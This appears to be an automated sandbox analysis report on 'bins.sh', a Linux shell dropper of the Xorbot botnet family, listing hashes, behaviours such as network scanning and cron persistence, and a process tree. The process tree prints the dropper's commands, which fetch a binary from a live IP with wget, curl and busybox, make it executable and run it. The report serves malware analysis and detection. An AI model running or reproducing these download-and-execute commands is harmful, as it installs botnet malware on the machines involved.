Analysis
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max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
05/12/2024, 08:41
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
d32474a35e8f1f0273df0472abcffbd1
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SHA1
7050456a281a217032b8081dc2fecde1dd47d39a
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SHA256
d67a7469745e36651000846e5d70e0ac0a7859f1b85ceb651233cfb6ad469f59
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SHA512
1420ac3b05b7dbaee44d19c3ba64415fe46db9f61e5c552939ea6354e5df6a5a704e9c9cdc33c84c08836d7092cb0e74305970dfd54eb31a85cbda87b91acdf6
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SSDEEP
96:nI3vGLKKLHEkGNhIZC8OVLX7tW63nYClcRWd3vGXEKEkGNh3sZCoKOrXL4VLX7wJ:nLKKLXZC5fW63nYCWpZCbh3nYYC
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
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Contacts a large (2203) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1515 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks 1516 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks -
Renames itself 1 IoCs
pid Process 1517 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.2K3rLw crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1533/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1537/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1680/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1712/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/172/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/10/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/12/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/13/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/115/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/428/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1380/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1548/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/6/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1686/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1690/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1559/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/26/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/489/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1189/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1525/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1590/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1599/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1658/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1709/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1134/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1138/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1142/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1492/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1568/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1580/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1657/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1025/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1664/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1737/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1746/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1663/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1051/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1552/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/18/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/715/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1171/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1191/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1560/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1614/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1669/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1675/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/177/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1743/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1075/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1349/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1527/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1655/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/602/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/460/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/665/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1113/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1156/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1168/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1578/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1597/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/5/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1703/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks File opened for reading /proc/1731/cmdline XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks wget File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks curl File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1498
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/bin/rm/bin/rm bins.sh2⤵PID:1499
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/usr/bin/wgetwget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Writes file to tmp directory
PID:1500
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/usr/bin/curlcurl -O http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Writes file to tmp directory
PID:1505
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Writes file to tmp directory
PID:1514
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/bin/chmodchmod 777 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- File and Directory Permissions Modification
PID:1515
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/tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks./XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1516 -
/bin/shsh -c "crontab -l"3⤵PID:1518
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/usr/bin/crontabcrontab -l4⤵PID:1519
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/bin/shsh -c "crontab -"3⤵PID:1520
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1521
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/bin/rmrm XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵PID:1523
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/usr/bin/wgetwget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H72⤵PID:1526
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD556c926a1b8a99ced9345052003f32053
SHA139fa690ec59354c26fb2b50a7b6842b543e0de69
SHA256cd651e6a175a477a5d386ea9912f6016fcb2eb06db03378faf2bb3f38295f05c
SHA5124c04583048a5e601010f3e2c2e20bec75ec3b8aa6957e894531074c8bd3322547e536f3188919d67708ea32fce5b6d7794e5d982d322017a25d7c4e35618013d